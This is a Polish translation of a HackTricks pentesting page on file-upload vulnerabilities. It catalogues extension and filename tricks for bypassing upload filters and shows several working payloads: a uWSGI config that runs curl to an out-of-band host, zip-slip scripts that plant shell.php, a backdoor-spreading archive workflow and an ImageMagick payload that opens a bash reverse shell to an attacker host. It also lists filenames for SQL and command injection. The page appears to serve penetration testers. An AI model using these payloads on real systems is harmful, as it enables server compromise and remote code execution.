# Wysyłanie plików
Dowiedz się, jak hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)! Inne sposoby wsparcia HackTricks: * Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)! * Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com) * Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family) * **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** * **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) na GitHubie.
Jeśli interesuje Cię **kariera hakerska** i hakowanie niemożliwego - **rekrutujemy!** (_wymagana biegła znajomość języka polskiego w mowie i piśmie_). {% embed url="https://www.stmcyber.com/careers" %} ## Ogólna Metodologia Wysyłania Plików Inne przydatne rozszerzenia: * **PHP**: _.php_, _.php2_, _.php3_, ._php4_, ._php5_, ._php6_, ._php7_, .phps, ._phps_, ._pht_, ._phtm, .phtml_, ._pgif_, _.shtml, .htaccess, .phar, .inc, .hphp, .ctp, .module_ * **Praca w PHPv8**: _.php_, _.php4_, _.php5_, _.phtml_, _.module_, _.inc_, _.hphp_, _.ctp_ * **ASP**: _.asp, .aspx, .config, .ashx, .asmx, .aspq, .axd, .cshtm, .cshtml, .rem, .soap, .vbhtm, .vbhtml, .asa, .cer, .shtml_ * **Jsp:** _.jsp, .jspx, .jsw, .jsv, .jspf, .wss, .do, .action_ * **Coldfusion:** _.cfm, .cfml, .cfc, .dbm_ * **Flash**: _.swf_ * **Perl**: _.pl, .cgi_ * **Serwer WWW Erlang Yaws**: _.yaws_ ### Ominiecie sprawdzania rozszerzeń plików 1. Jeśli stosują się, **sprawdź** **poprzednie rozszerzenia**. Sprawdź je również używając **wielkich liter**: _pHp, .pHP5, .PhAr ..._ 2. _Sprawdź **dodanie poprawnego rozszerzenia przed** rozszerzeniem wykonawczym (użyj również poprzednich rozszerzeń):_ * _file.png.php_ * _file.png.Php5_ 3. Spróbuj dodać **znaki specjalne na końcu.** Możesz użyć Burp do **przeprowadzenia ataku brutalnej siły** na wszystkie znaki **ascii** i **Unicode**. (_Zauważ, że możesz również spróbować użyć **wcześniej** wspomnianych **rozszerzeń**_) * _file.php%20_ * _file.php%0a_ * _file.php%00_ * _file.php%0d%0a_ * _file.php/_ * _file.php.\\_ * _file._ * _file.php...._ * _file.pHp5...._ 4. Spróbuj ominąć zabezpieczenia **oszukując analizator rozszerzeń** po stronie serwera za pomocą technik takich jak **podwajanie** **rozszerzenia** lub dodawanie **śmieciowych** danych (bajty **null**) między rozszerzeniami. _Możesz również użyć **poprzednich rozszerzeń** do przygotowania lepszego ładunku._ * _file.png.php_ * _file.png.pHp5_ * _file.php#.png_ * _file.php%00.png_ * _file.php\x00.png_ * _file.php%0a.png_ * _file.php%0d%0a.png_ * _file.phpJunk123png_ 5. Dodaj **kolejną warstwę rozszerzeń** do poprzedniej kontroli: * _file.png.jpg.php_ * _file.php%00.png%00.jpg_ 6. Spróbuj umieścić **rozszerzenie wykonawcze przed poprawnym rozszerzeniem** i miej nadzieję, że serwer jest źle skonfigurowany. (przydatne do wykorzystania błędów konfiguracji Apache, gdzie cokolwiek z rozszerzeniem **.php**, ale niekoniecznie kończące się na .php\*\* będzie wykonywać kod): * _np. file.php.png_ 7. Używanie **alternatywnego strumienia danych NTFS (ADS)** w **Windows**. W tym przypadku po niedozwolonym rozszerzeniu i przed dozwolonym zostanie wstawiony znak dwukropka ":". W rezultacie na serwerze zostanie utworzony **pusty plik z niedozwolonym rozszerzeniem** (np. "file.asax:.jpg"). Ten plik może być później edytowany za pomocą innych technik, takich jak korzystanie z jego krótkiej nazwy pliku. Wzorzec „**::$data**” może również być używany do tworzenia plików niepustych. Dlatego dodanie kropki po tym wzorcu może być również przydatne do ominięcia dalszych ograniczeń (np. „file.asp::$data.”) 8. Spróbuj złamać limity nazwy pliku. Poprawne rozszerzenie zostaje odcięte, a złośliwy PHP pozostaje. AAA<--SNIP-->AAA.php ``` # Maksymalnie 255 bajtów w systemie Linux /usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 255 Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4 # odejmij 4 i dodaj .png # Prześlij plik i sprawdź odpowiedź, ile znaków pozwala. Załóżmy 236 python -c 'print "A" * 232' AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA # Utwórz ładunek AAA<--SNIP 232 A-->AAA.php.png ``` ### Ominięcie sprawdzania typu zawartości, numeru magicznego, kompresji i zmiany rozmiaru * Ominięcie sprawdzania **typu zawartości** poprzez ustawienie **wartości** nagłówka **Content-Type** na: _image/png_, _text/plain_, _application/octet-stream_ 1. **Słownik typów zawartości**: [https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/web/content-type.txt](https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/web/content-type.txt) * Ominięcie sprawdzania **numeru magicznego** poprzez dodanie na początku pliku **bajtów rzeczywistego obrazu** (myli polecenie _file_). Lub wprowadzenie powłoki w **metadanych**:\ `exiftool -Comment="' >> img.png` * Jeśli do twojego obrazu jest dodawana **kompresja**, na przykład za pomocą standardowych bibliotek PHP takich jak [PHP-GD](https://www.php.net/manual/fr/book.image.php), poprzednie techniki nie będą przydatne. Możesz jednak użyć **kawałka PLTE** [**technika zdefiniowana tutaj**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) do wstawienia tekstu, który **przetrwa kompresję**. * [**Github z kodem**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen\_plte\_png.php) * Strona internetowa może również **zmieniać rozmiar obrazu**, używając na przykład funkcji PHP-GD `imagecopyresized` lub `imagecopyresampled`. Możesz jednak użyć **kawałka IDAT** [**technika zdefiniowana tutaj**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) do wstawienia tekstu, który **przetrwa kompresję**. * [**Github z kodem**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen\_idat\_png.php) * Inna technika umożliwiająca utworzenie ładunku, który **przetrwa zmianę rozmiaru obrazu**, to użycie funkcji PHP-GD `thumbnailImage`. Możesz jednak użyć **kawałka tEXt** [**technika zdefiniowana tutaj**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) do wstawienia tekstu, który **przetrwa kompresję**. * [**Github z kodem**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen\_tEXt\_png.php) ### Inne sztuczki do sprawdzenia * Znajdź podatność umożliwiającą **zmianę nazwy** już przesłanego pliku (zmianę rozszerzenia). * Znajdź podatność na **Lokalne Włączenie Pliku** do wykonania backdoor. * **Możliwe ujawnienie informacji**: 1. Prześlij **kilka razy** (i **jednocześnie**) ten **sam plik** o **tej samej nazwie** 2. Prześlij plik o **nazwie** pliku lub folderu, który **już istnieje** 3. Prześlij plik o nazwie **“.”, “..”, lub “…”**. Na przykład w Apache w **Windows**, jeśli aplikacja zapisuje przesłane pliki w katalogu “/www/uploads/”, plik o nazwie “.” utworzy plik o nazwie “uploads” w katalogu “/www/”. 4. Prześlij plik, który nie może być łatwo usunięty, taki jak **“…:.jpg”** w **NTFS**. (Windows) 5. Prześlij plik w **Windows** z **nieprawidłowymi znakami** takimi jak `|<>*?”` w nazwie. (Windows) 6. Prześlij plik w **Windows** używając **zarezerwowanych** (**zakazanych**) **nazw** takich jak CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8 i LPT9. * Spróbuj również **przesłać plik wykonywalny** (.exe) lub **.html** (mniej podejrzany), który **wykona kod** po przypadkowym otwarciu przez ofiarę. ### Specjalne sztuczki z rozszerzeniami Jeśli próbujesz przesłać pliki do serwera **PHP**, [sprawdź sztuczkę z plikiem **.htaccess** do wykonania kodu](https://book.hacktricks.xyz/pentesting/pentesting-web/php-tricks-esp#code-execution-via-httaccess).\ Jeśli próbujesz przesłać pliki do serwera **ASP**, [sprawdź sztuczkę z plikiem **.config** do wykonania kodu](../../network-services-pentesting/pentesting-web/iis-internet-information-services.md#execute-config-files). Pliki `.phar` są jak pliki `.jar` dla Javy, ale dla PHP, i mogą być **używane jak plik php** (wykonując go za pomocą php lub dołączając go do skryptu...) Rozszerzenie `.inc` jest czasami używane dla plików php, które służą tylko do **importowania plików**, więc w pewnym momencie ktoś mógł pozwolić na **wykonanie tego rozszerzenia**. ## **Jetty RCE** Jeśli możesz przesłać plik XML do serwera Jetty, możesz uzyskać [RCE, ponieważ **nowe pliki \*.xml i \*.war są automatycznie przetwarzane**](https://twitter.com/ptswarm/status/1555184661751648256/photo/1)**.** Więc, jak wspomniano na poniższym obrazku, przesłaj plik XML do `$JETTY_BASE/webapps/` i czekaj na powłokę! ![https://twitter.com/ptswarm/status/1555184661751648256/photo/1](<../../.gitbook/assets/image (1) (3) (1) (1) (1).png>) ## **uWSGI RCE** Dla szczegółowego zbadania tej podatności sprawdź oryginalne badania: [Eksploatacja uWSGI RCE](https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html). Podatności na zdalne wykonanie kodu (RCE) mogą być wykorzystane w serwerach uWSGI, jeśli ktoś ma możliwość modyfikacji pliku konfiguracyjnego `.ini`. Pliki konfiguracyjne uWSGI wykorzystują określoną składnię do uwzględniania "magicznych" zmiennych, zastępców i operatorów. Warto zauważyć, że operator '@', używany jako `@(nazwa_pliku)`, służy do dołączania zawartości pliku. Wśród różnych obsługiwanych schematów w uWSGI, schemat "exec" jest szczególnie potężny, umożliwiając odczytywanie danych z wyjścia standardowego procesu. Ta funkcja może być manipulowana w celach niecnych, takich jak zdalne wykonanie kodu lub zapis/odczyt plików, gdy plik konfiguracyjny `.ini` jest przetwarzany. Rozważ poniższy przykład szkodliwego pliku `uwsgi.ini`, prezentującego różne schematy: ```ini [uwsgi] ; read from a symbol foo = @(sym://uwsgi_funny_function) ; read from binary appended data bar = @(data://[REDACTED]) ; read from http test = @(http://[REDACTED]) ; read from a file descriptor content = @(fd://[REDACTED]) ; read from a process stdout body = @(exec://whoami) ; curl to exfil via collaborator extra = @(exec://curl http://collaborator-unique-host.oastify.com) ; call a function returning a char * characters = @(call://uwsgi_func) ``` Wykonanie ładunku następuje podczas analizy pliku konfiguracyjnego. Aby konfiguracja została aktywowana i sparsowana, proces uWSGI musi zostać zrestartowany (potencjalnie po awarii lub w wyniku ataku typu Denial of Service) lub plik musi być ustawiony do automatycznego przeładowania. Funkcja automatycznego przeładowania, jeśli jest włączona, przeładowuje plik w określonych odstępach czasu po wykryciu zmian. Niezwykle istotne jest zrozumienie luźnego charakteru analizy pliku konfiguracyjnego uWSGI. W szczególności omawiany ładunek może być wstawiony do pliku binarnego (takiego jak obraz lub PDF), co dodatkowo poszerza zakres potencjalnej eksploatacji. ## **Sztuczka z przesyłaniem plików/SSRF za pomocą wget** W niektórych sytuacjach możesz zauważyć, że serwer używa **`wget`** do **pobierania plików** i możesz **określić** **URL**. W tych przypadkach kod może sprawdzać, czy rozszerzenie pobieranych plików znajduje się na białej liście, aby zapewnić, że pobierane są tylko dozwolone pliki. Jednakże, **ta weryfikacja może zostać ominięta.**\ **Maksymalna** długość **nazwy pliku** w systemie **Linux** to **255**, jednakże **wget** skraca nazwy plików do **236** znaków. Możesz **pobrać plik o nazwie "A"\*232+".php"+".gif"**, ta nazwa pliku **obejdzie** **weryfikację** (jak w tym przykładzie **".gif"** to **poprawne** rozszerzenie), ale `wget` **zmieni nazwę** pliku na **"A"\*232+".php"**. ```bash #Create file and HTTP server echo "SOMETHING" > $(python -c 'print("A"*(236-4)+".php"+".gif")') python3 -m http.server 9080 ``` ```bash #Download the file wget 127.0.0.1:9080/$(python -c 'print("A"*(236-4)+".php"+".gif")') The name is too long, 240 chars total. Trying to shorten... New name is AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php. --2020-06-13 03:14:06-- http://127.0.0.1:9080/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php.gif Connecting to 127.0.0.1:9080... connected. HTTP request sent, awaiting response... 200 OK Length: 10 [image/gif] Saving to: ‘AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php’ AAAAAAAAAAAAAAAAAAAAAAAAAAAAA 100%[===============================================>] 10 --.-KB/s in 0s 2020-06-13 03:14:06 (1.96 MB/s) - ‘AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php’ saved [10/10] ``` Zauważ, że **inną opcją**, o której możesz myśleć, aby ominąć tę kontrolę, jest sprawienie, że **serwer HTTP przekieruje do innego pliku**, więc początkowy URL ominie kontrolę, a następnie wget pobierze przekierowany plik pod nową nazwą. To **nie zadziała**, **chyba że** wget jest używany z **parametrem** `--trust-server-names`, ponieważ **wget pobierze przekierowaną stronę pod nazwą pliku wskazaną w oryginalnym URL-u**. ## Narzędzia * [Upload Bypass](https://github.com/sAjibuu/Upload\_Bypass) to potężne narzędzie zaprojektowane do pomocy Pentesterom i Łowcom Błędów w testowaniu mechanizmów przesyłania plików. Wykorzystuje różne techniki nagród za błędy, aby uproszczać proces identyfikacji i wykorzystywania podatności, zapewniając dokładne oceny aplikacji internetowych. ## Od przesyłania plików do innych podatności * Ustaw **nazwę pliku** na `../../../tmp/lol.png` i spróbuj osiągnąć **trawersowanie ścieżki** * Ustaw **nazwę pliku** na `sleep(10)-- -.jpg` i być może uda ci się osiągnąć **wstrzyknięcie SQL** * Ustaw **nazwę pliku** na `` aby osiągnąć XSS * Ustaw **nazwę pliku** na `; sleep 10;` aby przetestować wstrzyknięcie poleceń (więcej [sztuczek wstrzykiwania poleceń tutaj](../command-injection.md)) * [**XSS** w przesyłanym pliku obrazu (svg)](../xss-cross-site-scripting/#xss-uploading-files-svg) * Przesyłanie pliku **JS** + **XSS** = [Eksploatacja **Service Workers**](../xss-cross-site-scripting/#xss-abusing-service-workers) * [**XXE w przesyłanym svg**](../xxe-xee-xml-external-entity.md#svg-file-upload) * [**Przekierowanie otwarte** poprzez przesyłanie pliku svg](../open-redirect.md#open-redirect-uploading-svg-files) * Wypróbuj **różne ładunki svg** z [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet)\*\*\*\* * [Znana podatność **ImageTrick**](https://mukarramkhalid.com/imagemagick-imagetragick-exploit/) * Jeśli możesz **wskazać serwer internetowy, aby przechwycił obraz z adresu URL**, możesz spróbować nadużyć [SSRF](../ssrf-server-side-request-forgery/). Jeśli ten **obraz** ma być **zapisany** na jakiejś **publicznej** stronie, możesz również wskazać adres URL z [https://iplogger.org/invisible/](https://iplogger.org/invisible/) i **ukraść informacje o każdym odwiedzającym**. * [**XXE i omijanie CORS** poprzez przesyłanie pliku PDF-Adobe](pdf-upload-xxe-and-cors-bypass.md) * Specjalnie przygotowane pliki PDF do XSS: [Następna strona przedstawia, jak **wstrzyknąć dane PDF, aby uzyskać wykonanie JS**](../xss-cross-site-scripting/pdf-injection.md). Jeśli możesz przesłać pliki PDF, możesz przygotować PDF, który będzie wykonywał dowolny JS, postępując zgodnie z podanymi wskazówkami. * Prześlij zawartość \[eicar]\([**https://secure.eicar.org/eicar.com.txt**](https://secure.eicar.org/eicar.com.txt)) aby sprawdzić, czy serwer ma **antywirusa** * Sprawdź, czy istnieje jakieś **ograniczenie rozmiaru** przesyłanych plików Oto lista 10 rzeczy, które możesz osiągnąć poprzez przesyłanie (z [tutaj](https://twitter.com/SalahHasoneh1/status/1281274120395685889)): 1. **ASP / ASPX / PHP5 / PHP / PHP3**: Webshell / RCE 2. **SVG**: Stored XSS / SSRF / XXE 3. **GIF**: Stored XSS / SSRF 4. **CSV**: Wstrzyknięcie CSV 5. **XML**: XXE 6. **AVI**: LFI / SSRF 7. **HTML / JS** : Wstrzyknięcie HTML / XSS / Przekierowanie otwarte 8. **PNG / JPEG**: Atak zalewania pikseli (DoS) 9. **ZIP**: RCE poprzez LFI / DoS 10. **PDF / PPTX**: SSRF / Ślepa XXE #### Rozszerzenie Burp {% embed url="https://github.com/portswigger/upload-scanner" %} ## Magiczne bajty nagłówka * **PNG**: `"\x89PNG\r\n\x1a\n\0\0\0\rIHDR\0\0\x03H\0\xs0\x03["` * **JPG**: `"\xff\xd8\xff"` Odniesienie do [https://en.wikipedia.org/wiki/List\_of\_file\_signatures](https://en.wikipedia.org/wiki/List\_of\_file\_signatures) dla innych typów plików. ### Automatyczne dekompresowanie plików Zip/Tar podczas przesyłania Jeśli możesz przesłać plik ZIP, który zostanie zdekompresowany na serwerze, możesz zrobić 2 rzeczy: #### Symlink Prześlij link zawierający miękkie linki do innych plików, a następnie, uzyskując dostęp do zdekompresowanych plików, uzyskasz dostęp do połączonych plików: ``` ln -s ../../../index.php symindex.txt zip --symlinks test.zip symindex.txt tar -cvf test.tar symindex.txt ``` ### Dekompresuj w różnych folderach Niespodziewane tworzenie plików w katalogach podczas dekompresji stanowi istotny problem. Pomimo początkowych założeń, że taka konfiguracja może chronić przed wykonaniem poleceń na poziomie systemu operacyjnego poprzez złośliwe przesyłanie plików, hierarchiczne wsparcie dla kompresji i możliwości nawigacji po katalogach formatu archiwum ZIP mogą zostać wykorzystane. Pozwala to atakującym ominąć ograniczenia i uciec z bezpiecznych katalogów przesyłania, manipulując funkcjonalnością dekompresji docelowej aplikacji. Automatyczny exploit do tworzenia takich plików jest dostępny na [**evilarc na GitHubie**](https://github.com/ptoomey3/evilarc). Narzędzie można użyć w następujący sposób: ```python # Listing available options python2 evilarc.py -h # Creating a malicious archive python2 evilarc.py -o unix -d 5 -p /var/www/html/ rev.php ``` Dodatkowo, **szalony trik z symlinkiem z evilarc** jest opcją. Jeśli celem jest docelowy plik tak jak `/flag.txt`, należy utworzyć symlink do tego pliku w systemie. Zapewnia to, że evilarc nie napotyka błędów podczas swojej operacji. Poniżej znajduje się przykład kodu w języku Python używanego do utworzenia złośliwego pliku zip: ```python #!/usr/bin/python import zipfile from io import BytesIO def create_zip(): f = BytesIO() z = zipfile.ZipFile(f, 'w', zipfile.ZIP_DEFLATED) z.writestr('../../../../../var/www/html/webserver/shell.php', '') z.writestr('otherfile.xml', 'Content of the file') z.close() zip = open('poc.zip','wb') zip.write(f.getvalue()) zip.close() create_zip() ``` **Wykorzystywanie kompresji do rozprzestrzeniania plików** Aby uzyskać dalsze szczegóły, **sprawdź oryginalny post na**: [https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/](https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/) 1. **Tworzenie powłoki PHP**: Kod PHP jest napisany w celu wykonywania poleceń przekazywanych przez zmienną `$_REQUEST`. ```php ``` 2. **Rozprzestrzenianie plików i tworzenie skompresowanego pliku**: Tworzone są multiple pliki, a następnie tworzony jest archiwum zip zawierające te pliki. ```bash root@s2crew:/tmp# for i in `seq 1 10`;do FILE=$FILE"xxA"; cp simple-backdoor.php $FILE"cmd.php";done root@s2crew:/tmp# zip cmd.zip xx*.php ``` 3. **Modyfikacja za pomocą edytora heksadecymalnego lub vi**: Nazwy plików wewnątrz archiwum zip są zmieniane za pomocą vi lub edytora heksadecymalnego, zmieniając "xxA" na "../" w celu przemieszczania się po katalogach. ```bash :set modifiable :%s/xxA/..\//g :x! ``` ``` push graphic-context viewbox 0 0 640 480 fill 'url(https://127.0.0.1/test.jpg"|bash -i >& /dev/tcp/attacker-ip/attacker-port 0>&1|touch "hello)' pop graphic-context ``` ## Osadzanie powłoki PHP w pliku PNG Osadzenie powłoki PHP w segmencie IDAT pliku PNG może skutecznie ominąć pewne operacje przetwarzania obrazu. Funkcje `imagecopyresized` i `imagecopyresampled` z PHP-GD są szczególnie istotne w tym kontekście, ponieważ są powszechnie używane do zmiany rozmiaru i próbkowania obrazów. Zdolność osadzonej powłoki PHP do pozostania niezmienionej podczas tych operacji stanowi znaczącą zaletę w pewnych przypadkach użycia. Szczegółowe omówienie tej techniki, wraz z jej metodologią i potencjalnymi zastosowaniami, znajduje się w następującym artykule: ["Kodowanie powłok internetowych w segmentach IDAT pliku PNG"](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/). Ten zasób oferuje kompleksowe zrozumienie procesu i jego implikacji. Więcej informacji pod adresem: [https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/) ## Pliki poliglotyczne Pliki poliglotyczne stanowią unikalne narzędzie w cyberbezpieczeństwie, działając jak kameleon, który może istnieć jednocześnie w wielu formatach plików. Zainteresującym przykładem jest [GIFAR](https://en.wikipedia.org/wiki/Gifar), hybryda, która funkcjonuje zarówno jako plik GIF, jak i archiwum RAR. Takie pliki nie są ograniczone do tej pary; kombinacje takie jak GIF i JS lub PPT i JS są również możliwe. Główna użyteczność plików poliglotycznych polega na ich zdolności do omijania środków bezpieczeństwa, które przesiewają pliki na podstawie typu. Powszechną praktyką w różnych aplikacjach jest zezwalanie tylko na określone typy plików do przesyłania - takie jak JPEG, GIF lub DOC - w celu zmniejszenia ryzyka związanego z potencjalnie szkodliwymi formatami (np. JS, PHP lub plikami Phar). Jednak plik poliglotyczny, poprzez dostosowanie się do kryteriów strukturalnych wielu typów plików, może skutecznie ominąć te ograniczenia. Mimo swojej elastyczności, pliki poliglotyczne napotykają pewne ograniczenia. Na przykład, chociaż plik poliglotyczny może jednocześnie reprezentować plik PHAR (PHp ARchive) i JPEG, sukces jego przesłania może zależeć od polityk rozszerzeń plików platformy. Jeśli system jest rygorystyczny w kwestii dozwolonych rozszerzeń, sama strukturalna dwuistotność pliku poliglotycznego może nie wystarczyć, by zagwarantować jego przesłanie. Więcej informacji pod adresem: [https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a) ## Odnośniki * [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Upload%20insecure%20files](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Upload%20insecure%20files) * [https://github.com/modzero/mod0BurpUploadScanner](https://github.com/modzero/mod0BurpUploadScanner) * [https://github.com/almandin/fuxploider](https://github.com/almandin/fuxploider) * [https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html](https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html) * [https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/) * [https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a)
Jeśli interesuje Cię **kariera hakera** i hakiowanie niemożliwych do zhakowania - **rekrutujemy!** (_wymagana biegła znajomość języka polskiego w mowie i piśmie_). {% embed url="https://www.stmcyber.com/careers" %}
Dowiedz się, jak hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)! Inne sposoby wsparcia HackTricks: * Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)! * Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com) * Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family) * **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** * **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) na GitHubie.